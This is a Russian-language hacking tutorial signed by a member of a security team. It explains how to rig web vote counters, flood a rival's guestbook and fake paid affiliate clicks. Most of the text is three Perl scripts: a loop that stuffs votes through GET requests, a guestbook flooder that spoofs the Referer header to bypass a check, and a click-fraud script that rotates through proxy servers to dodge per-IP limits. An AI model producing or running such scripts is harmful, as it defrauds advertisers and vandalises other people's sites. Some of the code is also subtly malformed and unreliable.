Несколько способов накрутки Наверно вам не раз хотелось накрутить счетчик или количество кликов на свой баннер, а может есть желание зафлудить гостевую или форум недруга? Итак сегодня я расскажу вам как всё это провернуть. Начнем с самого примитивного способа. Для примера я рассмотрю скрипт голосования Manlix SW Vote v 0.1 написанный на пхп. В скрипте используется форма, которая в html выглядит следующим образом:
скрытое поле номер голосования = 1 радиокнопка варианта ответа 1 радиокнопка варианта ответа 2 радиокнопка варианта ответа 3 радиокнопка варианта ответа 4 кнопочка 8)
Итак мы видим, что данные формы передаются скрипту nlxswvote.php методом get и ему передаются номер голосования id=1 и вариант ответа v=1,2,3,4. Т.е. заполнив форму и нажав на кнопку отправки мы передадим скрипту следующую строку: http://www.server.com/vote/mnlxswvote.php?id=1&v=1 Теперь попробуем накрутить. Пишем скрипт на Перле так как его можно будет запустить с шелла, а это есть хорошо 8) #!/usr/bin/perl use IO::Socket; # подрубаем сокеты $server="www.server.com"; # сервер к которому будем подключатся $port="80"; # порт $path="vote/mnlxswvote.php?id=1&v=1"; # а вот тут наш запрос # цикл for ($i=0; $i < 15; $i++){ $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) or die print "Unable to connect to $server:$port\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; # пусть скрипт думает что запрос идет с cервака мЫкрософта print $socket "Referer: http://support.microsoft.com/\n"; # а наш агент осёл нумбер 6.0 print $socket "User-Agent: Internet Explorer 6.0\n"; # отрубаем кеширование print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Connection: close\n\n"; } Идём дальше. Допустим у недруга стоит гостевая книга, которую вам ну очень хочется зафлудить. И форма для ввода сообщения имеет в html следующий вид:
Допустим также что скрипт гостевой проверяет переменную окружения web-сервера HTTP-REFERER примерно таким способом: Т.е. если данные переданы не из форм документа, находящегося на сервере www.server.com, хацкеру будет выдано деморализующее сообщение. Ну что начнем писать скрипт для флуда: #!/usr/bin/perl use IO::Socket; # подрубаем сокеты $server="www.server.com"; # сервер к которому будем подключатся $port="80"; # порт $path="guestbook.php"; # тут скрипт гостевой которому передаются данные # цикл for ($i=0; $i < 15; $i++){ $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) or die print "Unable to connect to $server:$port\n"; # данные отправляем методом post print $socket "POST $path HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "Content-Type: application/x-www-form-urlencoded"; print $socket "Content-Length: 1000"; # т.к. проверяется переменная HTTP-REFERER, нам придется подправить эту # строчку ( пусть сообщения мы отправляем со странички guestbook.htm print $socket "Referer: http://www.server.com/guestbook.htm\n"; # а наш агент осёл нумбер 6.0 print $socket "User-Agent: Internet Explorer 6.0\n"; # т.к. используется метод post, то данные придется передавать в теле # сообщения запроса print $socket "nick=hacker\n"; print $socket "&message=hacked%20by%20Vasya%20Pupkin\n"; # отрубаем кеширование print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Connection: close\n\n"; } Немного изменили скрипт и можем начинать флудить... хе-хе-хе Ну и немного вкусненького 8) Накручиваем клики...на примере бегущей строки от одной небезызвестной партнерской программы www.fitl.biz Итак они предлагают разместить на своем сайте бегущую строку и платят за клики... В чем отличие от рассмотренных ранее способов? Да в том что проверяется айпишник... т.е. засчитывается один клик с одного айпи в течении суток... Для накрутки нам необходимо создать файл содержащий адреса прокси серваков. Он должен иметь такой вид: адрес прокси : порт 200.23.209.209:8080 200.23.209.209:80 invis.free.anonymizer.com:80 www.aldan.sakha.ru:3128 Итак вот скрипт: #!/usr/bin/perl use IO::Socket; # открываем файл open (base, "proxy.lst") || die "Error! Can't open proxy list\n"; while ( ) { @proxy = ; } # считываем данные в масив $z=chomp(@proxy); # кол-во записей в файле for ($g=0; $g < $z; ){ n: $g++; $path="http://www.fitl.biz/ru/bs/b.php?cmd=go&from=44257&said=34315"; chomp($string = @proxy[$g]); #записываем запись в строку и убираем # символ перевода каретки @conn=split(/:/,$string); # превращаем с список строку данных # разделенных двоеточием $server = @conn[0]; # адрес прокси $port = @conn[1]; # порт прокси $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Photo => tcp) or goto n; $i++; system("cls ; clear"); print "sent : $i"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $server\n"; print $socket "Accept: */*\n"; print $socket "Http-Referer: http://www.rushteam.h1.ru/index.htm\n"; print $socket "User-Agent: Internet Explorer 6.0\n"; print $socket "Pragma: no-cache\n"; print $socket "Cache-Control: no-cache\n"; print $socket "Connection: close\n\n"; } Итак как это работает: Получаем из списка строку "прокси:порт" , разбиваем её , подключаемся к прокси-серверу и запрашиваем строку $path="http://www.fitl.biz/ru/bs/b.php?cmd=go&from=44257&said=34315"; Обратите внимание в данном случае необходимо указывать полный путь к скрипту. Т.к. если ранее мы подключались к серверу где расположен скрипт, то в этом случае мы подключаемся к прокси и уже с него запрашиваем скрипт. З.Ы. Для танкистов: В строке запроса www.fitl.biz/ru/bs/b.php?cmd=go&from=44257&said=34315 ставьте свой id вместо 44257. Автор: 1dt.w0lf --------------------------------------- RusH security team - http://rst.void.ru